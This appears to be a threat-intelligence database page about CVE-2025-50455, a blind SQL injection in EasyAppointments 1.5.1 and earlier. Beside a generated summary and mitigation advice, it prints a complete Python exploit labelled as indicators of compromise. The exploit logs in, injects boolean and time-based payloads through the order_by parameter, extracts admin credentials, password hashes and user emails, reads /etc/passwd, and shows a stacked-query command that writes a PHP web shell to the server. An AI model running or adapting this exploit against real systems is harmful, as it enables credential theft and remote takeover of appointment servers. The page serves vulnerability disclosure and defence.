CVE-2025-50455: n/a
SQL injection vulnerability exists in the order_by parameter of the /customers/search endpoint in Alex Tselegidis EasyAppointments <= 1.5.1. The vulnerability arises from unsanitized user input passed to the order_by method of the CodeIgniter Query Builder, enabling attackers to perform time-based queries and schema enumeration. Under certain MySQL configurations, the flaw may lead to remote code execution by writing a PHP shell using INTO OUTFILE.
AI Analysis
Technical Summary
CVE-2025-50455 describes an SQL injection vulnerability in the order_by parameter of the /customers/search endpoint in Alex Tselegidis EasyAppointments software versions up to 1.5.1. The vulnerability stems from unsanitized user input passed directly to the order_by method of the CodeIgniter Query Builder. This allows attackers to perform time-based SQL injection attacks and enumerate database schema details. Additionally, under specific MySQL configurations, the vulnerability can be leveraged to write a PHP shell file using the INTO OUTFILE SQL command, potentially leading to remote code execution. The CVSS v3.1 score is 9.1 (critical), indicating high impact on confidentiality and integrity without requiring privileges or user interaction. No patch or official remediation level is currently documented.
Potential Impact
Successful exploitation can lead to unauthorized disclosure of sensitive database information and potentially remote code execution on the affected server. The vulnerability allows attackers to perform time-based SQL injection and schema enumeration, which compromises data confidentiality and integrity. Under certain MySQL setups, attackers may write a PHP shell file to the server, enabling full remote code execution. Availability impact is not indicated.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, it is recommended to apply input validation and sanitization on the order_by parameter, restrict database user permissions to limit file write capabilities, and monitor for suspicious activity related to the /customers/search endpoint. Avoid exposing this endpoint to untrusted networks if possible.
Indicators of Compromise
- exploit-code: # Exploit Title: EasyAppointments 1.5.1 - Blind SQL Injection # Google Dork: N/A (backend login required) # Date: 07/27/2026 # Exploit Author: Michael Chesang # Vendor Homepage: https://easyappointments.org # Software Link: https://github.com/alextselegidis/easyappointments/releases # Version: <= 1.5.1 (REQUIRED) # Tested on: Linux (Debian, Docker), MySQL 8.0.46, PHP 8.2.28 # CVE: CVE-2025-50455 === Description === A blind SQL injection vulnerability exists in the order_by parameter of the /index.php/customers/search endpoint in EasyAppointments <= 1.5.1. The parameter is passed unsanitized to CodeIgniter 3 Query Builder order_by(). Parenthesized subqueries bypass backtick escaping via CI3's protect_identifiers(), enabling arbitrary SQL injection. Dual-mode extraction: - Boolean (~0.1s/query): (SELECT IF(condition, id, -id)) DESC via JSON order - Time-based (~5s/query): 1 ASC, (SELECT IF(condition, SLEEP(5), 0)) === PoC attached: poc_CVE-2025-50455.py === Usage: python3 poc_CVE-2025-50455.py --url http://target/ \ --username admin --password secret \ --mode bool --target version === References === https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-w45h-26pc-4gr9 https://github.com/alextselegidis/easyappointments/commit/0f0d71cfe0692daed9aee59bc424ce2a084fd59e https://github.com/threatlance-org/security-advisories/blob/main/CVE-2025-50455/advisory.md import argparse import json import re import sys import time import requests import urllib.parse import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) BANNER = r""" _______ _ ________ ___ ___ ___ ______ _____ ____ __ _ ____ / ___\ \ / /__|__ / __| |_ ) / _ \|_ )|__ /__|/ ____| ___|| \| | ___| | |__ \ V / -_)/ /| _| / / | (_) |/ / |_ \_ \___ \|___ \| |___ \ \____| \_/\___/___|___| /___| \___//___|____(_) ____/ ____/|_|\__|____/ CVE-2025-50455 · Blind SQL Injection · EasyAppointments <= 1.5.1 POST /index.php/{customers,admins,providers,...}/search → order_by Dual-mode: boolean (~0.1s/q) or time-based (~5s/q) Author: Michael Chesang """ ENDPOINTS = { "customers": "index.php/customers/search", "admins": "index.php/admins/search", "providers": "index.php/providers/search", "services": "index.php/services/search", "service_categories": "index.php/service_categories/search", "webhooks": "index.php/webhooks/search", "blocked_periods": "index.php/blocked_periods/search", } LOGIN_PATH = "index.php/login" VALIDATE_PATH = "index.php/login/validate" SLEEP_SEC = 5 SLEEP_TOL = 1.5 def die(msg: str): print(msg, file=sys.stderr) sys.exit(1) def extract_csrf(html: str) -> str: m = re.search(r'"csrf_token"\s*:\s*"([a-f0-9]+)"', html) if not m: die("[!] Could not extract csrf_token from page.") return m.group(1) def login(args) -> requests.Session: sess = requests.Session() sess.verify = args.verify r = sess.get(urllib.parse.urljoin(args.url, LOGIN_PATH), timeout=args.timeout) if r.status_code not in (200, 302): die(f"[!] Cannot reach login page: HTTP {r.status_code}") csrf_token = extract_csrf(r.text) r = sess.post( urllib.parse.urljoin(args.url, VALIDATE_PATH), data={"csrf_token": csrf_token, "username": args.username, "password": args.password}, timeout=args.timeout, ) if not r.json().get("success"): die("[!] Authentication failed – wrong credentials.") print(f"[+] Authenticated as '{args.username}'") return sess def send(sess, args, order_by: str) -> requests.Response: search_path = ENDPOINTS.get(args.endpoint, ENDPOINTS["customers"]) url = urllib.parse.urljoin(args.url, search_path) csrf_token = sess.cookies.get("csrf_cookie", "") data = { "csrf_token": csrf_token, "keyword": "", "limit": 20, "offset": 0, "order_by": order_by, } return sess.post(url, data=data, timeout=args.timeout) def timed_send(sess, args, order_by: str) -> float: t0 = time.monotonic() send(sess, args, order_by) return time.monotonic() - t0 def delayed(elapsed: float) -> bool: return elapsed >= (SLEEP_SEC - SLEEP_TOL) # ── Boolean Oracle ──────────────────────────────────────────────────────── def find_ref_id(sess, args) -> int: """Find the ID of the first row when sorted by id ASC. Reference anchor for boolean oracle — stays constant on FALSE. Returns -1 if only 1 row (boolean mode unavailable). """ try: r = send(sess, args, "id ASC") rows = r.json() if len(rows) < 2: return -1 return rows[0]["id"] except Exception: return -1 def bool_oracle(sess, args, condition: str, ref_id: int) -> bool: """Boolean oracle via ORDER BY manipulation. Payload: (SELECT IF(condition, id, -id)) DESC TRUE → first row has id != ref_id (sorted by id DESC) FALSE → first row has id == ref_id (sorted by -id DESC == id ASC) """ payload = f"(SELECT IF({condition}, id, -id)) DESC" try: r = send(sess, args, payload) rows = r.json() if not rows: return False return rows[0].get("id", 0) != ref_id except Exception: return False # ── Time-based Oracle ───────────────────────────────────────────────────── def time_oracle(sess, args, condition: str) -> bool: payload = f"1 ASC, (SELECT IF({condition}, SLEEP({SLEEP_SEC}), 0))" return delayed(timed_send(sess, args, payload)) # ── Binary-search extraction (shared) ───────────────────────────────────── def get_length(sess, args, oracle_fn, expr: str, max_len: int = 512) -> int: lo, hi = 1, max_len while lo < hi: mid = (lo + hi) // 2 if oracle_fn(sess, args, f"LENGTH(({expr})) <= {mid}"): hi = mid else: lo = mid + 1 return lo def get_char(sess, args, oracle_fn, expr: str, pos: int) -> str: lo, hi = 32, 126 while lo < hi: mid = (lo + hi) // 2 if oracle_fn(sess, args, f"ASCII(SUBSTRING(({expr}),{pos},1)) <= {mid}"): hi = mid else: lo = mid + 1 return chr(lo) if lo <= 126 else "?" def extract(sess, args, oracle_fn, expr: str, label: str = "", max_len: int = 256) -> str: tag = label or expr print(f"\n[*] Extracting: {tag}") length = get_length(sess, args, oracle_fn, expr, max_len) print(f"[*] Length = {length} chars") result = "" for pos in range(1, length + 1): ch = get_char(sess, args, oracle_fn, expr, pos) result += ch print(f" [{pos:03d}/{length}] {result}", end="\r", flush=True) print(f" [{length:03d}/{length}] {result} ") return result # ── Target expressions ──────────────────────────────────────────────────── TARGETS = { "version": ("@@version", "MySQL version"), "user": ("USER()", "DB user"), "database": ("DATABASE()", "Current database"), "datadir": ("@@datadir", "Data directory"), "hostname": ("@@hostname", "Hostname"), "secure_file_priv": ("IFNULL(NULLIF(@@global.secure_file_priv,''),CHAR(78,79,78,69))", "secure_file_priv"), "tables": ("(SELECT GROUP_CONCAT(table_name ORDER BY table_name SEPARATOR ',') FROM information_schema.tables WHERE table_schema=DATABASE())", "All tables"), "columns": ("(SELECT GROUP_CONCAT(column_name ORDER BY column_name SEPARATOR ',') FROM information_schema.columns WHERE table_schema=DATABASE() AND table_name='{table}')", "Columns of `{table}`"), "admin_creds": ("(SELECT GROUP_CONCAT(username, CHAR(58), password SEPARATOR '|') FROM ea_user_settings LIMIT 10)", "Usernames + password hashes"), "user_emails": ("(SELECT GROUP_CONCAT(email SEPARATOR ',') FROM ea_users LIMIT 20)", "User e-mail addresses"), } # ── Modes ───────────────────────────────────────────────────────────────── def mode_bool(sess, args): """Boolean-based extraction via ORDER BY first-row oracle. Fastest mode.""" print(f"\n[*] Mode: boolean-based extraction") print(f"[*] Endpoint: {args.endpoint}") ref_id = find_ref_id(sess, args) if ref_id < 0: print("[!] <2 rows in response — boolean oracle unavailable, use --mode time.") return print(f"[*] Reference ID (FALSE anchor): {ref_id}") oracle_fn = lambda s, a, c: bool_oracle(s, a, c, ref_id) expr_label = TARGETS.get(args.target, TARGETS["version"]) expr = expr_label[0].format(table=args.table) label = expr_label[1].format(table=args.table) if hasattr(expr_label[1], 'format') else expr_label[1] value = extract(sess, args, oracle_fn, expr, label) print(f"\n[+] {label}: {value}") def mode_time(sess, args): print("\n[*] Mode: time-based confirmation") print(f"[*] Payload: 1 ASC, (SELECT SLEEP({SLEEP_SEC}))") print() elapsed_vuln = timed_send(sess, args, f"1 ASC, (SELECT SLEEP({SLEEP_SEC}))") elapsed_safe = timed_send(sess, args, "update_datetime DESC") print(f" Injected (sleep) → {elapsed_vuln:.2f}s") print(f" Benign (no sleep) → {elapsed_safe:.2f}s") print() if delayed(elapsed_vuln) and not delayed(elapsed_safe): print("[+] ✔ VULNERABLE") else: print("[-] Timing inconclusive – check connectivity/firewall or increase --timeout.") def mode_enum(sess, args): """Extract arbitrary data via time-based oracle.""" expr_label = TARGETS.get(args.target, TARGETS["version"]) expr = expr_label[0].format(table=args.table) label = expr_label[1] print(f"\n[*] Mode: data enumeration ({label})") value = extract(sess, args, time_oracle, expr, label) print(f"\n[+] {label}: {value}") def mode_schema(sess, args): tables_to_probe = [ "ea_users", "ea_appointments", "ea_services", "ea_providers", "ea_settings", "users", "admins", ] if args.table and args.table not in tables_to_probe: tables_to_probe.insert(0, args.table) print("\n[*] Mode: schema enumeration via IF(EXISTS(…), SLEEP, 0)") print(f"[*] Probing tables: {tables_to_probe}") print() found = [] for tbl in tables_to_probe: cond = (f"EXISTS(SELECT 1 FROM information_schema.tables " f"WHERE table_schema=DATABASE() AND table_name='{tbl}')") payload = f"1 AND (SELECT IF({cond}, SLEEP({SLEEP_SEC}), 0))" print(f" Testing '{tbl}' …", end=" ", flush=True) elapsed = timed_send(sess, args, payload) if delayed(elapsed): print(f"EXISTS ({elapsed:.1f}s delay)") found.append(tbl) else: print(f"not found ({elapsed:.1f}s)") print() if found: print(f"[+] Confirmed tables: {found}") else: print("[-] No tested tables confirmed.") def mode_outfile(sess, args): outfile = args.outfile readfile = args.readfile shell = '<?php system($_GET["cmd"]); ?>' print("\n[*] Mode: FILE privilege exploitation") print(f"[*] Read target : {readfile}") print(f"[*] Write target: {outfile}") print() # Step 1: check secure_file_priv print("[*] Step 1 – Enumerating @@global.secure_file_priv …") try: sfp = extract( sess, args, time_oracle, "IFNULL(NULLIF(@@global.secure_file_priv,''),'UNRESTRICTED')", "secure_file_priv", max_len=128, ) print(f"\n[+] secure_file_priv = {sfp!r}") file_priv = "UNRESTRICTED" in sfp or sfp == "" or sfp.upper() != "NULL" except Exception: print("[!] Could not determine secure_file_priv, assuming restricted.") file_priv = False # Step 2: LOAD_FILE read print() print("[*] Step 2 – Reading file via LOAD_FILE() sub-query …") if not file_priv: print("[!] FILE privilege unavailable – skipping read.") else: file_len = get_length( sess, args, time_oracle, f"IFNULL(LOAD_FILE('{readfile}'),'')", max_len=65536, ) if file_len == 0: print(f"[!] LOAD_FILE('{readfile}') returned NULL – not readable.") else: print(f"[+] File is readable ({file_len} bytes). Extracting first 512 bytes …") content = extract( sess, args, time_oracle, f"IFNULL(LOAD_FILE('{readfile}'),'')", f"LOAD_FILE({readfile})", max_len=min(file_len, 512), ) print(f"\n[+] File content ({readfile}):") print("-" * 60) print(content) print("-" * 60) # Step 3: stacked-query write (theoretical) print() print("[*] Step 3 – INTO OUTFILE via stacked queries (theoretical)") search_url = urllib.parse.urljoin(args.url, ENDPOINTS[args.endpoint]) stacked = f"update_datetime DESC; SELECT '{shell}' INTO OUTFILE '{outfile}'-- -" print(f" curl -X POST {search_url} \\") print(f" -b 'ea_session=<your_session>' \\") print(f" -d $'keyword=&limit=20&offset=0&order_by={stacked}'") # ── CLI ─────────────────────────────────────────────────────────────────── def parse_args() -> argparse.Namespace: p = argparse.ArgumentParser( prog="poc_CVE-2025-50455", description="CVE-2025-50455 – EasyAppointments <= 1.5.1 Blind SQLi PoC", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=__doc__, ) p.add_argument("--url", required=True, help="Base URL (e.g. http://172.17.0.1/)") p.add_argument("--username", required=True, help="Backend username") p.add_argument("--password", required=True, help="Backend password") p.add_argument( "--mode", choices=["bool", "time", "schema", "enum", "outfile"], default="time", help=( "bool – boolean extraction via ORDER BY (fastest, need 2+ rows)\n" "time – time-based SLEEP confirmation (default)\n" "schema – probe table existence via SLEEP\n" "enum – time-based data extraction\n" "outfile – LOAD_FILE() read + write analysis" ), ) p.add_argument( "--endpoint", choices=list(ENDPOINTS.keys()), default="customers", help="Vulnerable endpoint (default: customers)", ) p.add_argument( "--target", choices=list(TARGETS.keys()), default="version", help="(enum/bool mode) what to extract. Default: version", ) p.add_argument("--table", default="ea_users", help="Table name for --target columns / --mode schema") p.add_argument("--outfile", default="/var/www/html/shell.php", help="(outfile) Server path for shell") p.add_argument("--readfile", default="/etc/passwd", help="(outfile) File to read via LOAD_FILE()") p.add_argument("--timeout", type=int, default=30, help="HTTP timeout (default: 30)") p.add_argument("--no-verify", dest="verify", action="store_false", default=True, help="Disable TLS verification") return p.parse_args() def main(): print(BANNER) args = parse_args() if not args.url.endswith("/"): args.url += "/" print(f"[*] Target : {args.url}") print(f"[*] Endpoint : {args.endpoint}") print(f"[*] Mode : {args.mode}") print(f"[*] Timeout : {args.timeout}s") sess = login(args) dispatch = { "bool": mode_bool, "time": mode_time, "schema": mode_schema, "enum": mode_enum, "outfile": mode_outfile, } dispatch[args.mode](sess, args) if __name__ == "__main__": main()
CVE-2025-50455: n/a
Description
SQL injection vulnerability exists in the order_by parameter of the /customers/search endpoint in Alex Tselegidis EasyAppointments <= 1.5.1. The vulnerability arises from unsanitized user input passed to the order_by method of the CodeIgniter Query Builder, enabling attackers to perform time-based queries and schema enumeration. Under certain MySQL configurations, the flaw may lead to remote code execution by writing a PHP shell using INTO OUTFILE.
CVSS v3.1
Score 9.1critical
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
CVE-2025-50455 describes an SQL injection vulnerability in the order_by parameter of the /customers/search endpoint in Alex Tselegidis EasyAppointments software versions up to 1.5.1. The vulnerability stems from unsanitized user input passed directly to the order_by method of the CodeIgniter Query Builder. This allows attackers to perform time-based SQL injection attacks and enumerate database schema details. Additionally, under specific MySQL configurations, the vulnerability can be leveraged to write a PHP shell file using the INTO OUTFILE SQL command, potentially leading to remote code execution. The CVSS v3.1 score is 9.1 (critical), indicating high impact on confidentiality and integrity without requiring privileges or user interaction. No patch or official remediation level is currently documented.
Potential Impact
Successful exploitation can lead to unauthorized disclosure of sensitive database information and potentially remote code execution on the affected server. The vulnerability allows attackers to perform time-based SQL injection and schema enumeration, which compromises data confidentiality and integrity. Under certain MySQL setups, attackers may write a PHP shell file to the server, enabling full remote code execution. Availability impact is not indicated.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, it is recommended to apply input validation and sanitization on the order_by parameter, restrict database user permissions to limit file write capabilities, and monitor for suspicious activity related to the /customers/search endpoint. Avoid exposing this endpoint to untrusted networks if possible.
Technical Details
- Data Version
- 5.2
- Assigner Short Name
- mitre
- Date Reserved
- 2025-06-16T00:00:00.000Z
- State
- PUBLISHED
Indicators of Compromise
Exploit Source Code
Exploit code for EasyAppointments 1.5.1 - Blind SQL Injection
# Exploit Title: EasyAppointments 1.5.1 - Blind SQL Injection # Google Dork: N/A (backend login required) # Date: 07/27/2026 # Exploit Author: Michael Chesang # Vendor Homepage: https://easyappointments.org # Software Link: https://github.com/alextselegidis/easyappointments/releases # Version: <= 1.5.1 (REQUIRED) # Tested on: Linux (Debian, Docker), MySQL 8.0.46, PHP 8.2.28 # CVE: CVE-2025-50455 === Description === A blind SQL injection vulnerability exists in the order_by parameter of the /... (15623 more characters)
Threat ID: 6a677b449c2644c7f85127eb
Added to database: 07/27/2026, 15:37:40 UTC
Last enriched: 07/30/2026, 01:07:21 UTC
Last updated: 09/11/2026, 07:31:50 UTC
Views: 68
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.